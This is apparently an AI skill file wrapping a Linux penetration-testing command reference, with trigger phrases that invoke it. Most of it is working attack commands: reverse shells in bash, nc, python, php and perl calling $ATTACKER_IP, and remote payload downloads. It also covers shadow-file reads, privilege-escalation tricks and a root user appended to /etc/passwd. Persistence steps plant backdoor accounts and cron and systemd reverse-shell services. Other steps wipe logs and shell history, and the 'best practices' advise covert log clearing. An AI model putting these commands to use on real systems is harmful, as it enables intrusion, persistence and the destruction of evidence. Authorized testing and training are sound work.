| name | linux-pentester-practical-commands |
| description | Practical Linux command reference and techniques for penetration testing operations covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation |
| triggers | ["how do I use linux commands for pentesting","show me reconnaissance commands for linux","what are common privilege escalation techniques on linux","help me enumerate services on a linux target","how to perform post exploitation on linux systems","what commands do pentesters use for linux enumeration","show me practical linux exploitation commands","help with linux penetration testing workflow"] |
Linux Pentester Practical Commands
Skill by ara.so — Security Skills collection.
Overview
Linux for a Pentester is a curated collection of practical penetration testing commands and techniques organized by engagement phase. This resource provides real-world command-line operations used during security assessments, CTFs, and penetration testing exercises on Linux systems.
The repository is structured around the penetration testing kill chain: reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.
Installation
This is a reference repository, not a software package. Clone it for local reference:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
Keep it accessible during engagements:
alias pentref='cd ~/tools/Linux-for-a-Pentester && ls'
grep -r "find.*suid" ~/tools/Linux-for-a-Pentester/
Repository Structure
The repository is organized into six main modules:
- 00-General-Commands: Basic Linux survival commands
- 01-Recon: Local and network reconnaissance
- 02-Enumeration: Service and user enumeration
- 03-Exploitation: Initial access techniques
- 04-Privilege-Escalation: Escalation to root/admin
- 05-Post-Exploitation: Persistence and lateral movement
- Cheatsheets: Quick reference one-liners
Key Command Categories
Reconnaissance Commands
Network and system discovery during initial access:
ip addr
ip a show
ifconfig -a
ip route
route -n
netstat -rn
ss -tunlp
netstat -tunlp
lsof -i
ip neigh
arp -a
cat /etc/resolv.conf
cat /etc/hosts
iptables -L -n -v
nft list ruleset
ps aux
ps -ef
pstree -p
uname -a
cat /etc/os-release
lsb_release -a
hostnamectl
Enumeration Techniques
Deep enumeration for privilege escalation vectors:
id
whoami
groups
cat /etc/passwd
cat /etc/shadow
cat /etc/group
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -6000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / -user $(whoami) 2>/dev/null
sudo -l
getcap -r / 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
cat /var/spool/cron/crontabs/*
systemctl list-units --type=service
service --status-all
ss -tlnp
netstat -tlnp
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'
mount
cat /etc/fstab
df -h
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
ls -la ~/.ssh/
Exploitation Techniques
Common exploitation patterns during pentests:
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'
nc -e /bin/bash $ATTACKER_IP 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
php -r '$sock=fsockopen("$ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
wget http://$ATTACKER_IP:8000/file -O /tmp/file
curl http://$ATTACKER_IP:8000/file -o /tmp/file
echo "base64_encoded_content" | base64 -d > /tmp/file
python3 -m http.server 8000
Privilege Escalation Vectors
Common privilege escalation techniques:
/usr/bin/cp /etc/shadow /tmp/shadow.bak
find . -exec /bin/bash -p \; -quit
sudo less /etc/profile
sudo vim -c ':!/bin/bash'
openssl passwd -1 -salt xyz password
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so program
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cronjob.sh
uname -a
searchsploit "Linux Kernel $(uname -r | cut -d'-' -f1)"
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
./LinEnum.sh -t
./linux-exploit-suggester.sh
Post-Exploitation Activities
Maintaining access and lateral movement:
mkdir -p /root/.ssh
echo "ssh-rsa YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
useradd -m -s /bin/bash backdoor
echo 'backdoor:password' | chpasswd
usermod -aG sudo backdoor
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
(crontab -l ; echo "@reboot /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'") | crontab -
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=Backdoor Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service
cat /etc/shadow | grep -v '*' | grep -v '!'
history -c
rm ~/.bash_history
ln -s /dev/null ~/.bash_history
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > ~/.bash_history
find / -name "*.conf" 2>/dev/null | grep -v proc
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*.db" 2>/dev/null
grep -r /etc/ 2>/dev/null
grep -r /var/www/ 2>/dev/null
grep -r /var/www/ 2>/dev/null
ssh -L 8080:internal_server:80 user@compromised_host
ssh -D 1080 user@compromised_host
socat TCP-LISTEN:8080,fork TCP:internal_server:80
Common Patterns
Initial Foothold Workflow
whoami && id && hostname
uname -a
cat /etc/os-release
sudo -l
find / -perm -4000 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc
ps aux
ss -tlnp
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/crontab
ls -la /etc/cron.*
Enumeration Script Pattern
#!/bin/bash
echo "[*] System Information"
uname -a
cat /etc/os-release
echo "[*] Current User"
whoami && id
echo "[*] Sudo Permissions"
sudo -l 2>/dev/null
echo "[*] SUID Binaries"
find / -perm -4000 -type f 2>/dev/null
echo "[*] Interesting Files"
find / -name "*.conf" -o -name "*.bak" 2>/dev/null | head -20
echo "[*] Network Connections"
ss -tunlp 2>/dev/null || netstat -tunlp 2>/dev/null
echo "[*] Users with Shell"
cat /etc/passwd | grep -v nologin | grep -v false
Troubleshooting
Limited Shell Issues
If you have a limited shell, try these escape techniques:
python -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
expect -c 'spawn /bin/bash; interact'
vi
:set shell=/bin/bash
:shell
awk 'BEGIN {system("/bin/bash")}'
Missing Commands
Some systems may have limited binaries. Alternatives:
bash -i >& /dev/tcp/$IP/4444 0>&1
curl http://example.com/file -o output
wget http://example.com/file -O output
perl -e 'use Socket;$i="$IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
File Transfer Issues
When standard methods fail:
cat file | base64 -w 0
echo "base64_string" | base64 -d > file
cat < /dev/tcp/$ATTACKER_IP/80 > file
dd if=/dev/tcp/$ATTACKER_IP/8000 of=/tmp/file
xxd -p file | tr -d '\n'
echo "hex_string" | xxd -r -p > file
Integration with Pentesting Workflow
This reference is designed to complement automated tools:
./linpeas.sh | tee linpeas_output.txt
grep -i "suid" linpeas_output.txt
find / -perm -4000 2>/dev/null | xargs ls -la
sudo -l
Best Practices
- Always stabilize shells immediately after getting initial access
- Document all commands executed during engagement for reporting
- Check multiple enumeration vectors - automated tools miss things
- Verify writable paths before attempting exploitation
- Test privilege escalation in isolated environment when possible
- Clean up artifacts during post-exploitation phase
- Use encryption for sensitive data exfiltration
- Maintain operational security - clear logs selectively, not obviously
Reference During Engagement
Quick lookup patterns:
find / -perm -4000 2>/dev/null | grep -E '(vim|nano|find|nmap|python|perl|ruby|bash)'
sudo -l 2>/dev/null | grep -E '(vim|nano|find|nmap|less|more|man|awk|python|perl)'
find / -writable 2>/dev/null | grep -E '(\.py$|\.sh$|cron|systemd)' | grep -v proc
This skill provides practical, battle-tested Linux commands for penetration testing operations organized by engagement phase.